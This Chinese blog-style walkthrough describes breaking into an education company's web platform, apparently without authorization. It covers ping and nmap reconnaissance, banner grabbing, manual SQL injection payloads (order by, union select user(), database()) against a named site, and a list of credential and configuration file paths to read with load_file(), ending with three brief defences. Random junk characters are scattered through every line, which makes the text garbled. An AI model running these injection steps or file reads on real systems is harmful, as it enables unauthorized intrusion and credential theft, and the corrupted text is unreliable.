题记:+ ?) d# Y6 ^& [) ^% x
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
. _& B1 G! a `- H第一步:获取需要的信息
/ V/ z1 x' z( q% }. F( T( ~由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
0 I! j6 L/ f$ l/ o注:以下为保护特用XXX代替敏感信息/ `9 v! N& W- s+ ` {
顺手先PING了一下他们的域名:
) D, q# O% b7 W6 ?2 x! z% _* vping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)" i3 i' D7 u f4 @$ I
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms. b: {+ c' J- a V+ b5 C% G
顺便了解一下TTL,学好基础知识才能一路顺风:
' \2 p4 E* y* c [ S3 w0 dTTL:(Time To Live ) 生存时间( {. Y0 l' h! \, [4 e4 }2 K
指定数据包被路由器丢弃之前允许通过的网段数量。5 y* m9 P# |5 a; k; W" x% K
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
9 l0 G5 n9 L e" }使用PING时涉及到的 ICMP 报文类型1 {/ ^; S, U( D: ~2 s& b# \) F
一个为ICMP请求回显(ICMP Echo Request) _% h% _* x! J' L, W& y1 w
一个为ICMP回显应答(ICMP Echo Reply)2 h/ C; s( e0 p$ L: w4 N1 s
TTL 字段值可以帮助我们识别操作系统类型。+ K* ^* r1 o* i/ V' x# O0 {" Q! Y2 r
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
) r- X5 s$ k; @: GCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64- S: Z3 B( c- X) G+ p4 S
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128' k& |+ X+ [/ Q) r D/ g
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
) w G! b! p5 E2 g8 V u8 p当然,返回的TTL值是相同的% g( t- [. Q8 V3 u- q
但有些情况下有所特殊
: ]9 l5 |( p# M' q0 N" @LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
i' D' C) `& SFreeBSD 4.1, 4.0, 3.4;
' Y% Z. y6 u- r8 K' r- ZSun Solaris 2.5.1, 2.6, 2.7, 2.8;# j1 N- l( y# m
OpenBSD 2.6, 2.7,
) m. }6 H& I3 _1 iNetBSD
6 ?; `. R4 y3 q2 ^8 l X. SHP UX 10.20
c5 q' W+ p& R" FICMP 回显应答的 TTL 字段值为 255
. f( |% g' B$ S4 i: ?Windows 95/98/98SE
2 a, j5 U# x% D J4 C) VWindows ME
- ~/ u) r! Y& C7 g/ [4 n, uICMP 回显应答的 TTL 字段值为 32
' C2 c' K8 _- y$ J) dWindows NT4 WRKS2 T% T! _" k" @3 r5 M* W
Windows NT4 Server
4 P" x4 F. Y- S9 Y# e! e* r: {4 A* yWindows 2000
- f) @4 u/ f+ C. L( l8 uWindows XP
; |" V' A4 i) h( h+ YICMP 回显应答的 TTL 字段值为 128# ], `& C ^& Y8 n/ G
这样,我们就可以通过这种方法来辨别操作系统
6 ?: ? k% o0 t0 ~* eTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255+ L& ~% Z: `' `
用NMAP扫描一下:
( l8 J9 t) q) m0 U# v; rnmap -sT -O XXX.XXX.XXX.XXX5 x+ W, W) Q( a
如果没有装WinPcap则会弹出提示:
! i! }1 r1 o2 XWARNING: Could not import all necessary WinPcap functions. You may need to upgr
6 n# h1 `" t2 d/ V% n* V7 Pade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(/ m- T5 R0 {0 l. j) m+ Y3 X$ k" I' Q
) mode — Nmap may not function completely+ T, m- U6 ?- w5 O8 l. V
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher; B2 k u0 @& u. V( W
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win) H7 K7 R. n. [' F
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
# h3 u h$ y4 e& bd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
& S# K/ \, r+ x5 Xersions, you may be able to take iphlpapi.dll from another system and place it i
/ J) Y, D+ r6 J' w* }n your system32 dir (e.g. c:\windows\system32).4 p5 c8 z+ d8 W$ @
QUITTING!
; L% D! T% x5 e% n1 L3 `6 q到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
" M9 H9 H1 C8 r. Q5 @. m6 d1 K安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
' g4 w4 ?4 U2 Q. ]Interesting ports on XXX.XXX.XXX.XXX:
' ^( ^7 F2 x/ f8 D2 K/ [Not shown: 986 closed ports
q4 [! n% H) ^' WPORT STATE SERVICE' a, `! g P0 G: V) J9 \" x
21/tcp open ftp8 C$ o+ i5 q+ D& d N" O
22/tcp open ssh3 L4 E! f5 k3 U+ e9 B/ u
23/tcp open telnet
4 s4 g5 N0 F P" r* J80/tcp open http
/ y8 ?2 \( b; S$ W111/tcp open rpcbind5 C# }7 ~& p" W3 u8 M9 [6 u
135/tcp filtered msrpc W$ Q+ [: D% J3 y1 @ s% u8 }+ ]5 v' Y
139/tcp filtered netbios-ssn
Z4 d" v- B3 M1 }8 y445/tcp filtered microsoft-ds
1 e" n" a8 a# e# d1 T513/tcp open login
% w- w* I) D2 V- g6 b: d514/tcp open shell1 b- M' Z% Y7 R
593/tcp filtered http-rpc-epmap0 r5 m- ]" k' f- W; v g6 p2 t
1720/tcp filtered H.323/Q.931
6 X( z7 y& M2 {& G E4 c3306/tcp open mysql, O9 s5 J4 e5 ]8 I, ^
4444/tcp filtered krb524$ @: ?" `0 B0 `. o
Device type: WAP
6 k& V0 d& I7 z5 N) }8 @" h) BRunning: Linux 2.4.X! C9 |/ d& L3 v
OS details: DD-WRT (Linux 2.4.35s)
9 A+ O' y% o1 }1 c: z7 GNetwork Distance: 13 hops- w2 W5 |! t4 o8 l9 J* V
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
, I/ m5 j) A( L: o$ w8 hlogin as: U/ W2 \1 H3 Q+ a
Telnet23端口也是开着的,用telnet 命令链接一下:* Z1 J( x+ q/ A. m1 L7 Q$ V
telnet XXX.XXX.XXX.XXX+ w- V4 l! K/ Z7 o
提示:
9 j8 z2 a0 G1 K+ Z3 r) FRed Hat Enterprise Linux Server release 5.2 (Tikanga)/ V$ D$ u1 n* y! I: m+ [2 H- Q6 I( U; ]
Kernel 2.6.18-92.el5PAE on an i6864 s% a7 u. W+ f
login:( i. P! c2 J' @, \# ^* B
获取HTTP头信息:
4 I5 [# x9 j6 N5 \6 A; s/ r% G' X在本地执行如下PHP代码
) U x C8 m5 }+ N2 N<?php# G) N# e; o3 r1 e
$url = ‘XXX.XXX.XXX.XXX’;
7 d) G) W4 {1 W& d4 j, Qprint_r(get_headers($url));3 k- j' P" H" Z1 W/ ~6 ^
print_r(get_headers($url, 1));6 F' J. }1 R+ t
?>
# F. p: r$ a4 S4 z3 x# p将以上代码保存为PHP文件,执行:
7 P- W/ D' `1 F, t+ k8 {Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
' |' H; t9 H7 P0 M5 [现在可以得出结论:8 @/ x) y. \& B
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)% F9 I4 t; B* E) E0 }0 y
内核版本:Kernel 2.6.18-92.el5PAE on an i6860 q# [( \- ` S
WEB服务器版本:nginx/0.7.61" b- h# D6 n0 T2 o, k
第二步,开始测试寻找漏洞7 N9 e1 B% W ^: X) z# l, V
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。: K5 K# b- f" L0 n* T" E
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
8 W7 T$ h" q. P, J9 x5 R2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
+ E1 ^6 [3 C# K, i6 O, `http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常5 J8 j7 W+ [8 o% I. K" I" O! R
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
/ X# ^5 g! K* Y! P+ \# a恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
1 G$ s" i1 }/ O7 f3、手工注入:
* ~: p/ K6 I3 E- d6 [注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。* [6 P+ y' u/ Z+ d' S) ~
3.1 猜测当前表字段数9 `2 q* P- n3 N* G
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
1 k' W/ i6 u$ K, F6 v8 R. I此处猜测有个简单的算法,都是有技巧的吗,呵呵
+ |6 W' t7 i' p算法简单如下:' ^* [ v/ Y3 W" N+ E" q4 T
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;6 A4 [% E1 u! c$ |. O8 y& l2 i5 }
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
; d7 v0 \, m/ X需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
1 C3 W& ]. @/ }: ^' }0 Y以此来判断,是否过界,配合取中算法猜出字段数。
4 z8 K. {" W8 P/ d& H举例: d3 }" @9 z/ N! D% m1 ?8 c
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常# r" j" {7 q4 l' f# y7 W6 @
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误4 e! h" G/ \& h3 B# G) \/ w& w
此时3则为我们要找的字段数。
2 L1 t* U, n% ~3.2 配合union联合查询字段在页面所位置* d$ M+ T1 F. Y R) ?0 m+ _+ s: j
我们已经知道了字段数为3,此时则可以做如下操作:
& a2 z" x. t- w3 }http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
5 R; G, U" ^ G4 K- Y3 }4 e+ ]; k4 T' w
这样就可以测试到哪些字段在页面上有所显示了,如图:" R u2 N. V$ X; n2 Z
; d' q$ t) F3 k2 E+ J3.3 查敏感信息
: @& O# w) m( c# D" o3 J! E这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。2 ?; V% o C: ?+ }# B
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
+ s7 T4 F7 R* N( O! J3.3.1 先查数据库用户、数据库名,以备后用,如图:
9 R" ]; J" H, e9 e/ R( u
: g4 |- t4 h' T# c9 g0 O得到数据库用户为root、数据库名为DBxx;
+ ~ r. `+ G: O2 V8 D- T3.3.2 查配置文件' Z5 Q% A5 T) l
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。0 d) ]& ]& \! t7 F
查看文件有一定的条件限制:) v5 M; A( n9 A- ^& p9 x5 \% T
欲读取文件必须在服务器上' Q3 d% b* z0 `) Q) }! S. w
必须指定文件完整的路径) N( A& t7 H- E
必须有权限读取并且文件必须完全可读% e8 `- H5 c8 B- m2 r0 }" a9 x
欲读取文件必须小于 max_allowed_packet* ?' _& D* ^% e5 M. b# F9 G# z
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
! h" ?: K- ?4 K* K" b; W常用的一些:, A3 v! ^! I" b: a* T& e
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
4 u; S, T, } R. n( b7 M& _/usr/local/apache2/conf/httpd.conf
4 C9 H* i& A5 G1 y/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
" ^8 O0 [7 B7 n% `2 i/usr/local/app/php5/lib/php.ini //PHP相关设置8 D9 Z. }/ U. p1 r* e) b
/etc/sysconfig/iptables //从中得到防火墙规则策略
2 ^6 q2 L/ T1 |/ y i5 O0 v( s, V/etc/httpd/conf/httpd.conf // apache配置文件
; d7 m/ f/ a3 w/etc/rsyncd.conf //同步程序配置文件
, v A- S9 H. F, I4 B/ Z/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.; ~; y* J. b, x2 ~% ]# ]; f$ s8 S' i
/etc/my.cnf //mysql的配置文件# V& H6 P2 H6 C
/etc/redhat-release //系统版本) w% C# }9 f" @, R9 s I
/etc/issue
: G% g3 C8 k+ J1 b. z+ G- i/etc/issue.net# f# Y# I. S* X0 X: u
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
6 u- j3 ?! e' X* M. [7 Xc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
3 u, S$ @7 y& t% Z0 h2 Uc:\Program Files\Serv-U\ServUDaemon.ini o5 K- C* c, }" J0 p5 o
c:\windows\my.ini //MYSQL配置文件$ `% i& v! ]. X8 A8 t Z. N
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件5 l/ B$ ?4 m2 Q8 x4 \
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,; [; P% U& R1 X; F
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码( F. T- D8 P0 D+ S4 [% f* m' H% v
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此* k3 N( o; T- f
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
7 f# |' \9 e6 EC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
3 m2 E, u* [" r7 P1 |6 D//存储了pcAnywhere的登陆密码
4 ]/ ]$ g) X+ f% u4 M: ] f由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
6 S( f( u- l/ l8 U这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。! }" L$ n$ C. t! f4 Z' O4 M y! O
最后:防范措施
0 _- D- [) {# _( @ Z( }1 ]1、修复PHP注入漏洞;% U, p; S) ^5 H8 ~- P5 q
2、Mysql使用普通权限的用户;
( H4 Z/ q j1 J4 ]% O3、升级linux内核至最新版本; |